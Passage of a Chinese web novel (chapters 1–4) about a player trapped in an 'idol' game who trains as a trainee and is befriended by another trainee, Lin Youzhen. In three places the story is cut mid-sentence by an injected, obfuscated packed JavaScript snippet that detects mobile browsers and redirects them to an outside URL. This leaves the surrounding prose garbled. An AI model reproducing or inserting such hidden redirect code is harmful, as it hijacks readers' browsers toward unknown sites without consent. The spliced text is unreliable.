《缺德玩家成团出道了》 1. 第一章 “还好吗？” 离开练习室前似乎有人想过来帮扶一把看起来有些气喘的我。 “......谢谢，”我没抬眼，只顾着平顺自己紊乱的气息，口中表示拒绝，“你先去吃饭吧。” 我只顾着放松自己疲惫的身体，余光无法看清那人的面色，只是觉得还算是眼熟，紧接着便狼狈地奔向了目的地。 我结束了上午公司安排好的课程，总算是逃离了舞蹈练习室地狱，远离了那群浑身上下充斥着汗味的男练习生们，迅速躲进了走廊尽头的男厕所隔间内。 大家此刻都已经奔赴公司食堂吃饭，故而厕所内只有我一人对着隔间门沉思，连带着我抬不起的面条手臂，和宛若灌了铅一般的双腿。 这是我进入这个名为「偶像」游戏的第二个星期。 坦诚来说，过去的一个星期里我还算是比较顺风顺水，除了看不见我出道的丝毫希望以外。 因为开局前掷骰随机的好运，我游戏内的身体的长相很是出众，直接通过星探街头采访获得了公司面试进入的资格。 但又因为我的身体并没有觉醒任何有关于偶像的技能，之后在工作人员面前展露了我无比丑陋的舞蹈水平和唱歌水平，整个过程全靠着我冷着脸强撑度过。 但是最终我却顺利到诡异地通过了据说严苛无比的第一面试和第二面试，并且在最后面对所有工作人员的审视之下签下了暂时合约。 开玩笑吧。 我不可置信，拧着眉毛想了半天还是把这归功于脸的功劳。 然而在持续了长达一星期这样每日训练十小时的日常，我仍然没有对周围的环境感到习惯。 环境，成长，姿态。 大公司内练习生培养体系成熟，对于每一位练习生都有着不同的定位。 对于目前为止明显只有长相还看的过去的我，负责我的工作人员将高层策划对我的安排交给我。 我一看，果然是门面。 逐渐对这个行业已经有一定了解的我明白了自己在被按下定位的一瞬间，可能就意味着唱跳水平的平均线已经被定下，——不高也不低，只要不拖后腿就行。 但是身为一名初出茅庐的练习生，我决定还是要拿出符合这个游戏角色应有的行动来。 于是在一个星期之内我无间隙地进行了大班舞蹈教学、大班唱歌教学、一对一的演技课和各种杂七杂八的技能教学。 就这样保持着一天四个小时的睡眠，我度过了七天加半天。 而在马桶盖下坐下的一瞬间，我终于意识到了自己游戏内的这具身体的确不是唱跳的那块料。 可谓是除去长相一无所有。 不仅是我，就连着公司似乎也意识到了这个问题，周一一早的大会，针对每个人的评判，对于我的评论就已经说明了一切。 “修研啊，似乎很努力但是好像找错了一些方向？除了演技之外还是很没有起色呢。” 是的，我明白，我都明白。 但真当这样的话语砸在脑袋上的时候还是晕了神。 上层们对着每一位练习生所说出的话都不留情面，在收到针对自己的评价之前一直惴惴不安，又再真正知晓评价之后便开始无限内耗。全程恐怕没人能分出什么心思来关注别人。 于是我面如死灰的模样似乎没有任何人看见，让我本就低落的心情更加低落。 身为玩家的我内心没有波动，但是游戏内的身体却会因为缺少社交而感到沮丧。 但是我强行无视了这一点，毕竟在我看来，「偶像」游戏里实力排第一，其他都靠边去。 大会结束后每个人又要开始进行日常的训练，我心如死灰地一个人走出会议室，又开始了孤独的练舞之路。 因为过短的训练时间和文化不通，我几乎没和公司内的任何人有过交道，就算是一起上大班的练习生们也只是点头之交。 故而在其他人聚在一起彼此安慰的时候，我也只能默默缩在角落默默内化公司对自己的评价。 ……没事的，至少也有进步。 我是真心实意这样认为的，并且因为这样的想法多少使得心情指数上升了。 但除去自我安慰以外，实际一点而言我无从顾及这种境况，也对其他人对我保持的距离感而表示理解，毕竟他们的自己主动示好我都因为训练强度而无法完整回应。所以我与他人交流甚少的情况也可以被包容。 而抛开训练强度的事情，还有一点是令我与他们保持距离的原因。那就是除去训练生身份之外，我还是一位专业玩家。 不是进军竞圈的那个玩家，而是一名在游戏中的玩家。 在进入游戏前，我一直对于从训练生出道成为爱豆这条路有一定的美化，直到此刻坐在马桶盖上cos起沉思者反思起自己这一个多星期的游戏历程，我才明白自己实在是太天真了。 “……呃。” 我捏起前襟，对于黏在身上的衣物谢敬不敏，但毫无办法。 脸上，后颈，衣服下的身体，都是湿漉漉到狼狈的汗水。 我强忍着黏腻，拨开被汗打湿又被空调吹干的刘海，撩至头顶，用舞蹈老师友情赠送的一字夹别上去。 手机会在练习时段被公司统一收上去，所以我甚至无法用现代化渠道知晓我现在究竟长什么样。 话说，就算以前作为玩家到以丧尸为主题的游戏里也没有体验过这么糟糕的感觉啊。 毕竟我可是能在百八十个丧尸的围攻里，拿着游戏和谐可出现的棒球棍一棍一个地杀出来。 我怎么已经沦落到这样了？ 我皱眉，把一切归功于自己随机到的这一幅除了脸以外，其他关于偶像基本功都上限极低下限也极低的身体。 我深深叹气，鼻尖的气味都是先前流下的汗水的痕迹。 即便身体上还不算疲惫，但精神上和心理上好像已经到了极限的样子。 表情都有些麻木了，眼睛感觉都睁开困难，两只眼睛虽然视力高达5.2但也会时不时的开始失焦到眼神模糊。 我没忍住吸了一口气，鼻尖弥漫着一股清洁剂和消毒水的味道。 我闭着眼认真反思起自己，决定先去食堂吃饭后再回宿舍洗个澡换套衣服再来公司继续训练。 毕竟除了规定的课程之外，公司对于训练生的自由度还是放的很大的，只不过卷的人太多了的情况才造成了人均每天训练时长越来越长的情况。 做好准备后我便立刻站起，表情坚毅地打开隔间门，随后眼神缓缓地和刚巧迈进厕所的人对上了。 来的人是常见的黑色头发，搭配上没怎么仔细打理的微分碎盖，显得有些平平无奇。但是五官精致，面容轮廓秀气。唇峰圆润，唇珠明显，带着些兔唇的痕迹。 身形也是带着些少年感的纤细，侧面看瘦条条的像是一张纸，但是个子却算不上矮，裸露在外的手臂能看出一些明显的肌肉线条。 很好，少年肌肉兔。 我的脑子先我一步反应了过来，为眼前的典型美少年起了个外号。 与此同时，我脑内疯狂搜寻着眼前的人的名字，但却被先一步喊出了名字。 “你好，赵修研。” 对方恰到好处地露出一个略显腼腆的微笑，眼尾的双眼皮褶明显了些。 啊，原来是平语，所以不是前辈，大概是同龄人。 很抱歉，我进入游戏这么久还是无法准备辨别这个游戏设定的文化背景。 尽管「偶像」游戏制作方声明游戏背景完全架空，然而还是不可避免地东拉西扯添加了一大堆混杂的东西，并且其中还掺杂了一些算得上刻板印象的内容。 我来这个游戏属实不久，还没熟悉这个游戏背景下的前后辈问话和语言语法，平时也只是闭口不言，对于所有人都是敬语的状态。 因此在被喊出名字时我表现出了恰到好处的惊讶感，大致判断出了对面的身份。 名字好像是Woojin，训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171541|180696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时长大概是我的几十倍长，即便现在公司因为前一个男团才出道不到三年的缘由并未对下一个男团进行规划，但几乎所有人都默认了他占有出道位的一席之地。 以上的信息并不是别人告诉我的，而是我在进入游戏之前就了解的主要NPC的人物设定和基本游戏背景。 因为保不齐眼前的人就是游戏里的队友。 “嗯，”我点头应答，“你好，林祐真。” 这是我们的第一次正式打招呼。 林祐真对于被人喊出名字这件事情应该感到稀疏平常了，因此也并没有露出任何惊讶的表情，只是正常地点了点头，笑容依旧腼腆。 但是他的笑容转瞬即逝，打过招呼后转头的瞬间，接下来便是进行了像是无视一样的举动，转眼从我身旁擦肩而过，对着镜子进行外貌check环节。 镜子前除了我们两人一片空旷，卫生间内遍布的蓝色装饰为着此刻的气氛更添了一两分自如的安静。 我自觉和他打过了招呼，也准备离开这里去食堂吃饭，现在大概还能赶上最后一波，我还在计划着吃完饭后回宿舍换衣服的事情。 宿舍离公司不远，大公司也并不吝啬于用一些钱来给我们这些练习生一些好处，因此我也能从中获得了一些方便。 我与他再次擦肩而过的瞬间，余光能够看见他同样被汗水浸湿的后背。 明明是穿了夏秋的卫衣，似乎还加了内搭，但是汗水透出的界限却是如此分明，表现出来的还是一幅游刃有余的模样，完全不是我那样的狼狈。 瞧着这样，林祐真恐怕也和我一样没吃饭，恐怕才从练舞室中出来吧。 不愧是被大家都认定了的出道组成员呢，努力到极点的存在，实力也不逊色于任何一人，练习生中的最高阶等级的存在。 我内心感叹着对方，心里想想自己与着眼前人的惨淡对比，相对比下来实在是有着不小的可进步空间。 不过虽然说是玩家，游戏也的确给自己开了一些外挂，但是这样的差距是不是也是太过分了？ 我想着游戏里自己自带的几个外挂，没有一个能够切实地对我在练习生中考核实力里起到立竿见影的效果了，更忍不住叹了口气。 虽然我的心里想了很多，但是现实里也只不过几秒罢了，擦肩而过的瞬间我又将其一切都抛在脑后。 与其不停碎碎念什么的，倒还不如快点吃完饭再换个衣服下午继续练习的好。就算要作为门面当个花瓶，也至少不要显得太过拉跨吧。 然而就在我抬腿将要完全迈出这里的瞬间，原先还在外貌check的林祐真突然叫住了我。 “修研。”他的口音算不上太标准，可能因为他并不是本地人的原因，不过来了这么久还未彻底改掉吗？ 而且话语也相当自来熟，和略显稚嫩沉静的外表不太相符。 “嗯。” 我不得已地撤回一个迈步，转身看向他。 我们是同年生的关系，我游戏中的身体比本就不矮的林祐真还高了一些，因此可以俯视着他。 他似乎也察觉到了这一点，微微挺直了身体，面色不变地说道：“一起回宿舍吗？” “嗯......嗯？” 原先还在发呆敷衍的我紧急撤回一个应答，瞪大了眼睛看向林祐真的方向。 而对方在我应下的瞬间就再次露出了笑容，面上甚至带了些如释重负一般的轻松，快步靠近了我的身边，身上没什么汗味，甚至还带着清爽的沐浴香气。 这是什么体质？ 我有点羡慕林祐真，这样的话可以少去很多处理自身体味的问题吧，在日常也能减少一部分麻烦用来做别的事情。 不过我都是玩家了，游戏为什么不能给我开点有用的外挂呢？难不成一定要拥有折磨玩家的过程才叫做游戏吗。 「偶像」游戏里并不存在什么特种人玩家，除了随机出来的三个外挂之外，每一个进来的人都是众生平等的原始人。 2. 第二章 还没等我这股淡淡的羡慕持续下去，我就在身后林祐真无声的注视和敦促之中迈出了步子，走出了卫生间。 练习生还未完全散去，仍有三三两两在走廊上聊着天。 我和林祐真在旁人惊异的表情之下共同进了换衣室，我背过身不去注视他，低头沉默着简单收拾了一下，带上了口罩掩盖了自己的面容。 身为未公开练习生的我们在这个网络发达的社会当中就宛若透明人一般，什么信息也不能暴露。 公司底下常年有着蹲守已出道艺人们的粉丝或者私生，带上口罩也算是保险一点，虽然此刻并没有什么人在乎我们。 可怜的曝光率和残忍的淘汰机制，让偶像除了出道的那一刻，大多数人不会被任何人知晓这一段经历。 我带的是公司统一发的口罩，林祐真也是。 我们对视一眼都没忍住对彼此笑了一下，发出了细微的鼻音。 ……大概是觉得这样偷鸡摸狗的样子挺搞笑的吧。 公司发的口罩上面还带着公司的log，看起来也怪搞笑的，但是质感非常不错。 我和他笑后又再次恢复了先前的沉默，气氛不算尴尬，但是整体淡淡的，迎着别人的目光又一齐踏出了公司的地上出口和刷卡机。 话说林祐真平时好像也没什么同伴的样子，平时都是独来独往的模样，这难道就是高级练习生吗？ “我们的宿舍好像是一层呢，好巧啊。” 林祐真似乎在绞劲脑汁地进行搭话，紧蹙的细眉让我知晓他并不游刃有余的心情。 听到他提到宿舍一回事，我思考了一下我的舍友，加上我一共四个人。一层是两个宿舍，也就是意味着他就住在我的隔壁。 不过这样我都没注意过他，同时也能说明我过去一个星期的游戏生活属实是过于封闭。 “啊，”我脑海里过了一遍，回应道，“嗯。” 我不是故意以着这样的方式回答他，只是我已经很久不开口和别人说话沟通了，属实是记不得与他人交流的正确方式。 自打来到这个游戏里我都在为着这具身体惨淡的实力而努力，分不出多余的心力在意别人。 好在林祐真也不在意这一点，果然是心胸和外貌条件实力一样优越且宽容的好人啊。 “我们还是同年的人呀，可以做朋友的。之前公司里都没有和我同年的人，所以都只能自己走来走去啊。” 他继续兴致勃勃地提起话题，和之前那个瞬间面无表情做外貌check的冷漠模样明显区别开来，切换的速度的水平只能说是迅速。但是耳廓已经在发红，连带着后颈也有着这样的趋势，眨眼的速度也在我的注视下不断变快。 而且在他快速组织语言讲话的时候，口中方言的味道就愈发明显了起来。 “你在紧张吗？” 我看见他的反应，没忍住笑了一下，随后又恢复面无表情地问道。 我不知道林祐真有没有看见我的笑容，但是肉眼可见的是他看起来的确是更加紧张了，脸红的过分。 他结结巴巴：“……呃，不、不是，没有。” 林祐真努力板着脸认真强调，但是更像是少年装作大人。 但十六岁的年纪也的确只是少年，尽管放在练习生里已经算是年纪偏大的一类。 我看着林祐真已经有着向番茄发展的趋势，便也没有再继续追问。 不过，朋友，找我？认真的吗？目前除了外貌一无所有的家伙。 林祐真有缺朋友到这种地步吗？ 我转头回盯了他一眼，默默不语。 但是和林祐真交朋友也没什么坏处，至少有着不少的方面我能向着他请教。 因此沉默一会后我便开口回应道：“做朋友吗？我是i人，可能要很长一段时间才能和祐真你熟悉起来呢。” mbti在这个游戏中的设定背景很是适用，虽然不觉得把自己套在刻板印象里有什么好处，但是有用的话，我还是会掏出来当作百试不爽的挡箭牌的，毕竟属实好用。 果然林祐真听了眼睛一亮：“真的吗？我和修研一样是i人呢，慢慢熟悉也没什么不好的。” 哦呵呵，天真的小子，你是i人这一点简直是完美地符合了一切刻板印象。 我扯出一个微笑附和：“是啊是啊，我们慢慢地成为朋友吧。” 内心在感叹幸好宿舍够近，我们两个人尬聊几句的速度就到了。 不过果然林祐真也在悄悄地加快步伐吧。 彼此再沉默的上电梯，一起到达楼层，再彼此友好地道别。 “待会见。” 我们默契地别过头不看对方的眼睛，说是彼此间但是完全没约好时间，靠的是意念间的传达，说是要成为朋友，但是没人敢先踏出一步行动，完全停留在口头表述的方法，充斥着塑料的情感和话语。 我实在有些难以分辨眼前这个少年叫人捉摸不透的行动轨迹，凭借着我的敏感度可以分辨出对方表露出的话语和心情大致都是真心的，然而却没有丝毫的行动。 ......该不会，真的是长在刻板印象上的i人吧？平时靠电波和别人交流吗？ 我这样想着，实则也不想做先手的那个，面无表情的掏出钥匙后准备开门。 我和林祐真有缘再见，无缘就这样就此告别吧。 虽然对方可以给我提供帮助，但是游戏里社交还是很麻烦的。 如果可以，我想要尽量避免无谓的社交，全力把经历放在出道一事上，毕竟成为偶像才是游戏里贯彻整个任务线的目标所在。 我这拉胯的实力和极低的上限，也不知何时才能赶得上大部队。 想着想着，我已经做好了开门的准备，手伸进背包内拿出钥匙，准备开门。 没想到最终还是林祐真先一步踏出了我们两个人的交流边界，停下了悉悉索索像是翻动背包的声音。 这哥小心翼翼地戳了戳我的后背，口里的方言都说的黏黏糊糊的不大利索，精致秀气到过于奶油小生的面貌本身就很是柔和，带着些祈求的模样更是不得了。 睫毛长得不行，真的没有接过吗？ 我脑内的思绪乱飘，不由自主地把拿出的门钥匙握在了手心。 “那个，可以加一下好友吗？” 林祐真小声开口。 这种表情可以对着你的未来粉丝释放吗？我属实是无福消受男人的撒娇请求啊。 我低下头躲避他的视线攻击，无所谓地点头然后拿出手机与他加上了好友。 “再见。” 我自认为友好道别后再迅速地关上了门，没关注林祐真的具体反应就回到了宿舍。 我的三个舍友中午基本不回来，因此此时宿舍里只有我一人，所以我终于能用游戏给我附赠的三个外挂了。 不过正如我先前所多次吐槽的那样，虽然说是超能力，但是简单看来也只不过是比常人多了一些生活上的便携罢了。 比如我待会要使用的超能力，名字就叫做【瞬间洗完澡】。 一个乍然听起来没什么用处，但是放在一名作为预备役爱豆的练习生的身上却还算是派的上用场的超能力。 不过对于我如今的练习生实力实在是没什么明显的助力，故而可以说是聊胜于无了。 但这种程度真的能被算作超能力吗？ 我内心对此有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171542|180696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所怀疑，但是丝毫不影响我进浴室洗澡的速度。真的仅仅是瞬间便结束了，所剩余的时间还足够我再享受一个午睡的时间。 可是我的肚子却在不合时宜之际咕噜噜地发出了声响。 这时我才陡然发觉自己还并未吃饭这一件事。 原来我和林祐真都忘记了这件本应理所应当的事情。 我决定忽略自己的饥饿，擦干自己洗完的头发，安安稳稳地爬上上铺，盖上我的被子，准备入睡。 然而陷入睡梦前，我却被一个突如其来的问题困住了脑袋。 是因为想着游戏内超能力的事情而自然而然地忘记了，那么林祐真又是为了什么呢？ - 【林祐真视角】 大公司中的练习生数量总是保持着微妙的平衡，不间断地减少和增加着。 “最近新进公司的那个练习生的长相超级帅呢，你看见了吗？” 被熟悉的练习生这样小声地询问了，原先还在漫不经心发呆的林祐真被从发呆中唤起。 他的视线顺着众人的目光一齐汇聚到新人的身上。 的确，是非常出众的外表，帅气到不真实的程度，果然要到这种份上才能被称作是门面的定位啊。 似乎是和自己同年的年龄，身高也很高，比例也在表演课大课上被老师当众夸赞了，头肩比非常完美，腰和胯同宽，腿很长，简直无可挑剔。 外貌是男练习生中也会夸赞的超乎奇迹的程度。 “不过唱歌和舞蹈完全是初学者的水平啊。” 周围的人不停地说着和赵修研有关的话题，却默契地不去打扰着对方，似乎是因为对方身上散发着的生人勿扰的气息。 平时一心只有训练的林祐真也不由得被对方吸引了。 虽然舞蹈和唱歌都是入门水平，但是进步也很快，很努力，自己每次都会看见他，晚上勇夺关灯权的程度。 没有男练习生间常见的恶习，没有私底下抽烟，也没有喝酒，更没有进行谈恋爱这样的行为，除了唱跳实力之外完全是模范生的程度。 即使是大公司的练习生也无法避免以上的习惯，虽然没有明面上的霸凌之类的事情，但是除此之外都会抓紧一切机会宣泄有关青春期的躁动。 林祐真知晓这些事情，但是不曾对此有所感受，毕竟旁人与他无关，做好自己就行，私生活干净的可以被称为圣人的程度。外表热情，外向，亲和力满分，长相优秀。内里却无限趋向于镇静与冷漠，理智占了上风。 可在周围人的不断念叨之下，他还是无法避免燃起了对赵修研的兴趣。 “修研这个孩子，长相非常优秀呢，而且进步非常快，很有star味。” 在平日里训话的staff办公室门外偶然听见了这样的话。 “是的，实力都是可以满满进步的，但是脸蛋还是有上限的呀。” “还需要调整一下吧？之后？” “暂且门面的定位是没错呢，没有比他的脸更有说服力的孩子存在了，完全是秒杀的存在哈哈哈。” “太好运了，修研啊，不过还不急着这件事呢，再登上几个月吧。” 说话的速度很快，林祐真只是路过了几秒便听见了不少内容，之后又一脸正常的走开了。 第二天，照常的周一大会后训练，他循着赵修研的位置，来到了洗手间。 “你好，赵修研。” 名字喊出的瞬间，林祐真也分辨不出自己究竟有着几分真心。 可能是百分百，也可能是零吧。 不过，跟我成为最好的朋友吧，赵修研。我对你很有信心的，如果能成为未来的队友的话就更好了。 3. 第三章 我没在上面过多思考，上午不间断的训练让我在朦胧睡意中沉沉睡去。 再一睁眼就又接近了公司训练的地时间。 我简单地结束了午休，又渡过了一个算得上轻松的下午练习时间。 虽然声乐课、演技课和舞蹈课都是对于练习生们来说头号重要的三门课程，然而前两门相较于于舞蹈课来说，对于我而言还是轻松了不少。 在一对一的演技课上我还常常会得到老师的夸赞，多少有让我自从进游戏后就不甚明朗的心情高兴了一些。 除此之外的课程则是在一些零碎的时间内塞入，但刚好不巧，一周的第一天公司给我安排的课程尽是主要的课程。 而上完主要课程的其余零碎时间我也会抓紧反复练习当天所学到的东西，所以下午的时间里我还是忙碌在无尽的训练地狱之中无法脱身。 直到语言课老师宣布课程结束后，我的脑子还在不断地回放着上课的内容。 “…烦人。” 我在无人的角落处没耐得住皱了皱眉，试图晃出之前作为玩家时养成的坏习惯，——比如说过度思考。 对于现在着急提升实力且可进步空间巨大的我，过度思考浪费了我太多体力，是一件实打实的坏事。 但是习惯一时半会改不过来，我只能再叹了口气接着认命。 值得一提的是，林祐真在午休之后也正巧与我同路。 他见到我的瞬间便弯起嘴角，眼睛笑起来居然是弯弯的形状，纤长的睫毛上翘的弧度分明。 总之林祐真看见我的开心不像是作伪。 我几乎能从他的一举一动之间，忽视游戏内的提示，自动获取NPC好感度上升这一回事。 但我却对此摸不着头脑，只准备见势不妙就立刻拆伙开溜。 总觉得里面有什么我看不清的事情，暂且只是个出道无望的初级练习生，我还不想插手这些东西。 除此之外，不知为何下午的课程他也几乎是与我同行。 明明在我的印象中我好像极少与他碰面。 不过也有一种可能，那就是沉浸在游戏体验中的我忽略了他。 ……咳，暂且不提这个可能性。 我有些心虚地摸了摸鼻尖，吸引了林祐真的关注。 “怎么了吗？” 林祐真靠近我，温热的气息凑过来，眼睛盯着我的鼻子看了又看。 我的距离感算不上强，加上对方关切的语气不算假，因此放任了他的打量，老老实实地回答：“没什么。” 随后老老实实地散开遮掩的手，任由他的打量。 林祐真似乎也没想到我能这么老实地任他打量，他稍愣一下，随后便认真了起来，盯着我的脸看了半天。 “……没事。” 过了几秒他忽然又火烧火燎地直起身，收回了眼神。 我没有在意他的动作，只是在他说完没事后就对着他侧过了脸，盯着眼前的空地发呆。 然后心底想着，总之还是不要在无关紧要的事情上太过在意了。 之后公司规定的课程已经结束，剩下的便是个人练习时间。我和林祐真不知不觉地又走在了一起。 我接受了林祐真先前对我的小声关切，但是他还没放弃，在我们落座休息室之后，他在沉默中突然起身，蹭蹭蹭跑去某处又跑了回来。 “要和饮料吗？我刚从楼下便利店买的哦。” 林祐真小心翼翼地把一瓶果蔬饮料放在我的手边，一边还在打量着我的神色，鼻尖还带着汗。 他眼底带了一点期待，还有一些我看不懂的情绪。 我眼神复杂地看向他，因为他给我的那瓶的确是我最爱喝的饮料。 他是怎么知道的？应该只是碰巧吧。总感觉如果深究的话很可能会有麻烦的事情发生的。 而且林祐真的实力很不错，除了没有被正式宣布以外，几乎是众人心底公认的出道组，他又何必这样揣测并观察我的想法。 我不愿意细想，所以表示感谢：“谢谢。” 林祐真已经从容地在我身边落座，顺手也打开一瓶和我一样是果蔬系列的饮料喝下。 他听见我的道谢，头也没转，伸出空余的手摆了摆。 “没关系。” 林祐真含糊地回应道，语气还算是平静。 我们就这么安静地坐在休息室的长椅上，周围的人来来回回走了遍，眼神乱七八糟地在我身上胡乱插着标记。 明明都是同一类和同一性别的人，两个眼睛、一个鼻子、一张嘴，为什么要用着看异类的目光看着我？难道是有着什么不得了的事情吗？ 一天疲惫的积累，让我在压抑心底情绪的同时，也不免升起一些莫名的感受。 林祐真应当是对此很是熟悉了，但是我却觉得有些坐立不安。 在进入这个名为「偶像」的游戏前，作为玩家的我从来没有接触过此类作品，对于偶像的定义也仅仅停在浅显地段，对于旁人注视的目光也会感到不耐烦和焦躁。 即便我在游戏之中的建模的确很是不错，但是仅仅作为练习生的我得到这样的待遇是不是有些过分超前了？ 人来人往的练习室之中，明明周围的人群都很是气氛热烈，但是因为我和林祐真的寂静，气氛中还添加着几分不易察觉的沉重，似乎人人都在看着旁人的脸色说着话语。 只不过才是练习生的阶段罢了，难道不是实力比长相的分量更重一些吗？ 我想到自己那表现糟糕的舞蹈课和表现平平的声乐课，心情算不上明朗。 林祐真也在一旁侧过了头看着我的面色。 他似乎已经知道了我的不适应，因此将拿着果蔬汁饮料瓶子放在一旁，随后慢吞吞地伸手轻轻搭在我的小臂上拍了拍。 他似乎是在示意我放松些。 但是有些东西是一旦注意后便很难再放松看待的了。 我对他看似自然的安抚不可置否，只是略微皱起了眉头，便耳朵灵敏地听见了靠近我身边的一群人口中的倒抽气声，仿佛就连着空气也短暂的停滞了一分。 我只以为是自己听错了声音，毕竟作为玩家来说，我的性格有些过分多疑。 直到一名工作人员前来休息室之中喊出我的名字，我才发觉我的先前的感受并不是作假。 “赵修研。” 工组人员站在门口喊出我的名字，凭借面孔而言并不是我熟识的人。 我听见了自己的名字便抬起头，和工作人员的目光对上。 然而那人望向我的眼神却略微带着些复杂和几分看不懂的情绪。 坐在一旁的林祐真却像是早就知道了这件事一般，老神在在地注视着练习室里敞开的衣柜，面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我和那位工作人员一齐走进电梯，我出声盯着电梯门上的倒影，出声问。 那位工作人员似乎也没想到我的搭话，惊讶后便肯定道：“当然。” 应声之后他又像是警惕一般紧紧闭上了嘴巴，直到我又走到了休息室门口也再未开过口。 我再进去，林祐真还在原先的那条长椅上等着我。 “你早就知道了吗？” 我耳语道。 处在混杂的男练习生中，我的声音低的只在我们二人中才听得清。 “才不是，”林祐真唇瓣微动回应道，看着我的黑瞳闪烁，微微下垂的眼角带着笑意，“赵修研，你可以再相信我一点。” “嗯。” 我短促地应声，随意伸手拨开他碍事的刘海，之后又收手，重新将果蔬汁拿起一饮而尽。 “我相信你，祐真。” 我亲切地称呼他，但是面上没带多少笑意，面无表情地咽下嘴里的饮料，眼神顺着林祐真的轮廓一扫而过。 我说不清心里什么滋味，只是咬了咬后槽牙便定了心神瞬间移开目光。 林祐真，你这个骗子。 4. 第四章 尽管心底打定眼前的骗子林祐真彻底失去了我的友谊，但是我仍要表现得云淡风轻，好似并不在意一般。 毕竟他的示好不是假的，我也乐得享受一下便利。 「偶像」的游戏设定中，玩家可以向游戏内的NPC寻求帮助，并且通过对方的帮助，使得自己个人属性的提升有所加成，加成的多少依据NPC自身的属性来定。 但游戏内的个人版面上对于玩家的个人属性值并没有明确的标注，因此我无法准确判断出我相关属性的提升。 虽然通过林祐真偶尔的话语和动作上的指点，我体感上觉得自己的声乐和舞蹈还是有些进步的。 但也可能只是心理作用罢了，我的脑袋可能在欺骗我。 毕竟林祐真这家伙本身就是个说起谎话不眨眼的人，倘若在游戏之外，我本不会与他有所联系。 也只是因为在游戏中相遇，我与他才有了交流。 我用着这样模糊的话语安慰着自己的心情，不肯承认自己真的在恍惚的那一刻相信了林祐真的话语。 可心中的怒火是真的不存在吗？ 我抿唇深深闭上眼睛，细细感受着心底那番暗涌的情绪。 这具身体所产生的羞恼情绪并不是作假，而是一种深刻的，近似于被背叛一般的感受。 我对这种怒火感到一股陌生的疑惑。 我质问着自己，只不过是才认识不到半天的人而已，真的值得我所为他耗费情绪吗？ 我将视线彻底地从林祐真的身上移开，不再留意他的神情，脑海里一直反复播放着舞蹈课和声乐课上老师所指导我的话语，琐碎的声音来回播放着。 林祐真也安静了许多，但温热的气息依旧不可忽略。 他像是个甘于寂寞的安静分子，可也总会在突然的时间内变得不再安分。 我的目光随意地在休息室中漂浮，周围的练习生们大概都走了不少，只有零落的人还停留在此处，且注意力也不再停留在我的身上。 林祐真又在此刻蠢蠢欲动。 他挨着我的身边，恰到好处地保持着亲热又并未接触到的距离：“在看什么？” 林祐真总是能够敏锐地察觉到别人的情绪并且把握住相当的底线，比如此刻他便好似什么也不知晓一般，再次向我发出提问。 空气都是一片静悄悄的，他的声音融入，没有一丝违和。 他顺着我的目光移到远处，着落在休息室门口的绿植之上。 “是眼睛累了吗？” 林祐真轻声发问。 他有着一把天生适合唱歌的好嗓子，说出来的话语柔和，比普通人正经唱歌还要好听。 我心神不定，烦躁地啧声。 林祐真察觉后仍然像是平常，嘴角都未变动，凑出的笑容做不得假。 我先前的问题还没得出答案，这会听见他的话语，心底的情绪又涌了上来。 我转过头，林祐真离得我很近，所以我一下便能与他双目相对。 林祐真的眼睛很大，瞳孔又黑又圆，看着相当纯真，但是配合着眼尾的上挑又平白带上几分狡猾。 我们之间的距离近似于无，就连彼此的呼吸都能感受的到，我几乎能从他的眼睛中看见我清晰的身影。 满面平静的，眼带怒火的，又带着些疲态的。 在他的眼中，我竟然看起来有些狼狈，但是这幅完美的皮囊并未因此受损，反而显出一种颓靡的英俊。 林祐真好像因为我的动作而僵硬了身体，瞳孔都在吓得微微放大。 我从他所表现出的惊吓模样得了趣，随后又颇感无聊，平直嘴角，正过脸，收起突如其来的火气。 “别来招惹我，”我说，“我相信你，但这样就够了。” 林祐真恍惚的表情，看起来像是刚刚从梦中醒来，我身侧冰冷的身体恢复平常的温度。 他镇定地摇摇头，笑容依旧天真，额前发还保持着我先前撩开的模样。 林祐真轻声回应：“不要，我们要做好朋友，赵修研。” 他的话语还带着黏糊的方言口音，说起来并不像一般人那样标准，咬字直硬，听起来执拗。 我懒得在这种注定得不到答案的事情上纠结，没细想他的应答就直接起身走出了休息室，喝完的果蔬饮料瓶也被我哐当扔进垃圾桶。 林祐真跟着我一齐起身，和我并肩走着，维持着彼此一步的距离。 我对此尚可还能忍受，便按下口中多余的话，只是向前走着。 “你在想什么？” 林祐真还在问着。 我很烦，但不是仅仅因为他又或者被定为预备出道组的事情。 练习生的生活中能让我感到烦恼的事情很多，比如近在眼前的月度评级。 月度评级涉及的内容很多，比较主要的就是个人节目表演和团队节目表演，独立于各种考核之外，偏向于综合能力的考察，也包含了所谓组合合作度。 考虑到所谓的预备出道组，隐瞒无用，我干脆坦白道：“是月度评级的事情。” 林祐真某种意义上来说的确是个好人，也太过执着于一个回答。 但只要我回答了，他就会表达出超乎寻常的欣喜。 比如此刻，林祐真听见我的话之后露出一个笑容，散发的快乐让走在他身边的我都能感受得到，让我不由得侧目。 